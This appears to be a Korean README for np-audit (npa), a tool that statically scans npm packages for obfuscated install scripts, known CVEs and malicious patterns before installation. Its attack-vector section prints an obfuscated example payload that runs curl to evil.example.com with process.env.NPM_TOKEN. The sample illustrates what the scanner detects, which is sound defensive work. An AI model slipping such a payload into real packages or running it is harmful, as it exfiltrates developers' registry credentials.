np-audit — npm 패키지 감사기

npm 패키지를 위한 정적 보안 분석 — 난독화된 라이프사이클 스크립트, 알려진 취약점 및 악성 패턴을 실행 전에 감지합니다. npm install 및 npm ci의 드롭인 대체재입니다.

제로 의존성. 순수 Node.js 내장 모듈만 사용합니다. 전송 시 < 100 kB입니다.

npx np-audit scan express

npm install -g np-audit
npa scan                     # 모든 종속성 스캔
npa install                  # 감사 후 설치
alias npm='npa'              # 드롭인 대체재로 사용

마셜러(Marshaller)

탐지는 모듈화된 마셜러로 분할되어 있습니다 — 각각 하나의 공격 신호를 감지합니다:

점수는 심각도에 따라 조정됩니다 — 난독화 지표 수가 많을수록 점수가 높아집니다. 최종 판정은 모든 마셜러 중 가장 높은 개별 점수에 기반합니다.

커스텀 마셜러 작성 방법은 CONTRIBUTING.md를 참조하세요.

취약점 스캔 (CVE)

스캔된 모든 패키지는 코드 분석과 함께 알려진 취약점 데이터베이스에 대해 확인됩니다.

기본값: OSV.dev (설정 불필요)

별도 설정 없이 바로 작동 — 무료 OSV.dev API에 알려진 취약점 및 악성 패키지 권고 사항을 질의합니다.

선택 사항: Snyk API (더 풍부한 데이터)

# 환경 변수
export SNYK_API_TOKEN=your-token-here

# 또는 Snyk CLI를 통해
snyk auth

토큰 확인 순서: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

악성이 아닌 CVE는 경고를 생성하지만 설치를 차단하지 않습니다. 확인된 악성 패키지만 DANGER를 유발합니다.

사용법

명령어

인식되지 않은 명령어는 npm으로 전달됩니다 (예: npa run test, npa publish).

플래그

대화형 --review 모드

npa install --review

  npa --review 모드
  ↑/↓ 키로 이동, SPACE로 전환, ENTER로 확인, q로 종료

  설치 스크립트가 있는 패키지 3개 발견:

     [✓ 허용] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ 거부] [email protected]       postinstall: install.js          DANGER (점수: 9)
     [✓ 허용] @scope/[email protected]     postinstall: install.js          WARN (점수: 5)

  2개 허용됨  1개 거부됨

설정

설정은 ~/.npmauditor.json (전역)에 저장되며 프로젝트별로 .npmauditor.json을 통해 재정의할 수 있습니다.

npa config get                              # 현재 설정 보기
npa config set blockScore 6                 # 점수 6 이상에서 차단
npa config set skipPackages '["esbuild"]'   # 특정 패키지 신뢰
npa config set skipScopes '["@types"]'      # 전체 범위 신뢰

모든 설정 키

마셜러 비활성화

disabledMarshallers에 이름을 추가하여 특정 탐지 검사를 비활성화할 수 있습니다:

npa config set disabledMarshallers '["process-env", "network-call"]'

사용 가능한 모든 마셜러 이름과 현재 상태를 보려면:

npa config marshallers

이는 특정 마셜러가 워크플로에 오탐을 발생시킬 때 유용합니다. 비활성화된 마셜러는 정적 코드 분석 및 패키지 수준 검사 모두에서 완전히 건너뜁니다.

셸 별칭

투명한 npm 대체재로 npa를 사용하세요:

npa alias --install     # 추가: alias npm='npa'
source ~/.zshrc         # 셸 다시 로드

이제 npm install, npm ci가 자동으로 스캔됩니다. 다른 모든 npm 명령어 (npm run, npm test, npm publish)는 변경 없이 통과됩니다.

npa alias --uninstall   # 별칭 제거

작동 방식

1. 구문 분석 package-lock.json (v1/v2/v3) 또는 package.json에서 확인
2. 가져오기 레지스트리에서 tarball 다운로드 (또는 node_modules에서 읽기)
3. 구문 분석 라이프사이클 명령어 — &&/||/;/| 분할, node -e, sh -c, 셸 스크립트 처리
4. 탐색 각 진입점에서 require()/import 그래프 탐색 (사이클 감지, 50개 파일 / 5 MB 제한)
5. 분석 모든 마셜러로 수행 — 정적 코드 검사 + CVE 데이터베이스 질의
6. 점수화 및 분류 DANGER / WARN / OK
7. 보고 또는 설치 진행

공격 벡터

공급망 공격은 npm 라이프사이클 스크립트를 악용합니다. npm install을 실행하면 preinstall/install/postinstall 스크립트가 자동으로 실행됩니다. 공격자는 페이로드를 난독화 뒤에 숨깁니다:

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

실제 사례:

• event-stream (2018) — 비트코인 지갑 자격 증명 도난
• ua-parser-js (2021) — 암호화폐 채굴기 + 정보 탈취
• node-ipc (2022) — 지리적 타겟팅 와이퍼 악성코드
• colors / faker (2022) — 관리자 파괴 행위
• SAP CAP / cds-dbs (2025) — 엔터프라이즈 개발자를 대상으로 한 손상된 패키지

npa는 절대 스크립트를 실행하지 않습니다. 다운로드하여 정적으로 분석합니다.

종료 코드

라이선스

MIT